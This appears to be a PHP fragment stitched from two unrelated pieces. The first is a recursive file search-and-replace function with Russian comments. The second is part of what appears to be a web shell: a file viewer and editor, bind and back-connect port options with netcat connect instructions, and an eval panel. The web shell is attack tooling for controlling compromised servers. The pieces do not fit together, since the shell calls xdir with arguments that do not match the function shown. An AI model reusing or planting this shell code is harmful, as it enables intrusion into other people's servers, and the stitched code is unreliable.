function xdir($path, $search_str, $mode, $replace, $recursion, $found_text_class = 'text-danger') { global $extensions; global $ignore_files; global $found; global $count; // если не выбрано ни одно расширение, то не искать if (empty($extensions)) { return array(); } // открываем папку и получаем её handle (дескриптор) if (($dir_handle = @opendir($path)) !== false) { // открываем файл по списку и получаем его handle (дескриптор) while (($file = readdir($dir_handle)) !== false) { // если это файл-исключение, то пропускаем if (in_array($file, $ignore_files)) { continue; } $count++; // инкрементируем счётчик $file = $path . '/' . $file; if (is_dir($file) && $recursion) { // определяет, является ли имя текущего файла директорией xdir($file, $search_str, $mode, $replace, $recursion, $found_text_class); // если это директория, выполняем рекурсию и заходим в неё } // если это файл и он пододит по расширению if (is_file($file) && in_array(pathinfo($file, PATHINFO_EXTENSION), $extensions)) { $f = @fopen($file, 'rb'); // открывает поток IO файла; 'r' - открывает файл только для чтения; помещает указатель в начало файла. // если файл удалось открыть if ($f !== false) { $char = @fread($f, filesize($file)); // читаем весь файл if (@strstr($char, $search_str)) { // если искомая строка найдена в файле $found[] = $file; // добавляем файл в массив найденных файлов echo '<p class="' . $found_text_class . '" >' . $file . '<span class="text-muted" > - <strong>' . $search_str . '</strong></span>'; // вывод имени найденного файла } @fclose($f); // закрываем поток IO // если используется режим поиска и замены if ($mode == 'replace') { $new_content = str_replace($search_str, $replace, $char, $replace_count); // создаём обновленное содержимое файла // если есть что заменять if ($replace_count > 0) { $f = @fopen($file, 'wb'); // открывает поток IO файла; 'wb' - Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длины. // если файл удалось открыть if ($f !== false) { @fwrite($f, $new_content); // пишем в файл содержимое после замены echo '<span class="text-muted" >  => выполнено замен: <strong>' . $replace_count . '</strong></span>'; @fclose($f); } else { echo '<h3><p class="text-warning" >' . $file . ' - access denied - запись в файл невозможна</p></h3>'; } } } echo '</p>'; } else { echo '<h3><p class="text-warning" >' . $file . ' - access denied - чтение файла не удалось</p></h3>'; } } } closedir($dir_handle); // закрываем поток чтения папки } else { echo '<h3><p class="text-warning" >' . $path . ' - access denied - чтение папки не удалось</p></h3>'; } return $found; }
} else { $pesan = "Failed to save file"; } $msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>" . $pesan . "<span class=\"gaul\"> ]</span></span>"; } else { if (isset($_GET['view']) && $_GET['view'] != "") { $file = xclean(trim($_GET['view'])); } else { $file = $xCwd . xclean(trim($_GET['filename'])); } } $result = xfileopen($file); $result = htmlentities($result); $result = "\n\t<p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=" . $xCwd . "&properties=" . $file . "\">" . xfilesummary($file) . "</a>" . $msg . "</p><div style=\"clear:both;margin:0;padding:0;\"></div>\n\t<form action=\"?dir=" . $xCwd . "&view=" . $file . "\" method=\"post\">\n<textarea name=\"filesource\" style=\"width:100%;height:200px;\">" . $result . "</textarea>\n\t<input type=\"text\" style=\"width:80%;\" name=\"saveAs\" value=\"" . $file . "\" />\n\t<input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />\n\t</form>\n\t"; } else { $result = xdir($xCwd); } //################# Finalizing #######################======================================================] if ($auth) { if (isset($_GET['bportC'])) { $bportC = $_GET['bportC']; } else { $bportC = $shell_fav_port; } if (isset($_GET['lportC'])) { $lportC = $_GET['lportC']; } else { $lportC = $shell_fav_port; } $html_title = $shell_title . " " . $xCwd; $html_head = "\n<title>" . $html_title . "</title>\n<link rel=\"SHORTCUT ICON\" href=\"" . $_SERVER['SCRIPT_NAME'] . "?img=icon\" />\n" . $shell_style . "\n<script type=\"text/javascript\">\nfunction updateInfo(boxid,typ){\n\tif(typ == 0){\n\t\tvar pola = 'example: (using netcat) run "nc -l -p __PORT__" and then press Connect';\n\t}\n\telse{\n\t\tvar pola = 'example: (using netcat) press "Listen" and then run "nc " . $xServerIP . " __PORT__"';\n\t}\n\n\tvar portnum = document.getElementById(boxid).value;\n\n\tvar hasil = pola.replace('__PORT__', portnum);\n\tdocument.getElementById(boxid+'_').innerHTML = hasil;\n}\nfunction show(boxid){\n\tvar box = document.getElementById(boxid);\n\tif(box.style.display != 'inline'){\n\t\tdocument.getElementById('newfile').style.display = 'none';\n\t\tdocument.getElementById('newfolder').style.display = 'none';\n\t\tdocument.getElementById('newupload').style.display = 'none';\n\t\tdocument.getElementById('newchild').style.display = 'none';\n\t\tdocument.getElementById('newconnect').style.display = 'none';\n\t\tdocument.getElementById('div_eval').style.display = 'none';\n\n\t\tbox.style.display = 'inline';\n\t\tbox.focus();\n\t}\n\telse box.style.display = 'none';\n}\nfunction highlighthexdump(address){\n\tvar target = document.getElementById(address);\n\ttarget.style.background = '" . $shell_color . "';\n}\nfunction unhighlighthexdump(address){\n\tvar target = document.getElementById(address);\n\ttarget.style.background = 'none';\n}\n</script>\n";